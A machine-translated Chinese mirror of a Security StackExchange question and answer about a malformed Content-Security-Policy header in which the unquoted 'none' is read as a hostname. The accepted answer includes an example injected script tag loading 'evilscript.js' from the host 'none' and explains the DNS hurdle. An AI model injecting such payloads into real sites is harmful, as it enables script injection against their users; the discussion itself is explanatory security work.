首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >是否可以绕过格式错误的内容安全策略缺少引号?

问是否可以绕过格式错误的内容安全策略缺少引号?
EN

Security用户
提问于 2020-10-31 15:30:28
回答 1查看 362关注 0票数 1

我发现一个网站有一个非常严格但格式错误的内容安全策略:

代码语言:javascript
复制
Content-Security-Policy: script-src none

实际上应该是

代码语言:javascript
复制
Content-Security-Policy: script-src 'none'

Firefox显示警告

内容安全策略:将http://none解释为主机名,而不是关键字。如果您打算使用关键字,请使用“none”(用单引号包装)。:将none解释为主机名,而不是关键字。如果您打算使用关键字,请使用“none”(用单引号包装)。

能否通过生成满足主机名要求的服务器来利用此漏洞?像这样的主机名地址会是什么样子?

EN

回答 1

Security用户

回答已采纳

发布于 2020-10-31 17:14:34

我认为这意味着CSP将允许来自域none的脚本。因此,如果您能够注入以下标记,CSP将允许它运行:

代码语言:javascript
复制
<script src="http://none/evilscript.js">

而且,只要受害者的机器能够将none解析为DNS名称/ IP地址,您就在做生意了!

当然,最困难的部分是让公共DNS服务器或受害者网络中的本地DNS服务器接受DNS记录,以便将none映射到您控制的IP地址。在实践中,我怀疑你无法成功地完成攻击。

票数 1
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/240298

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档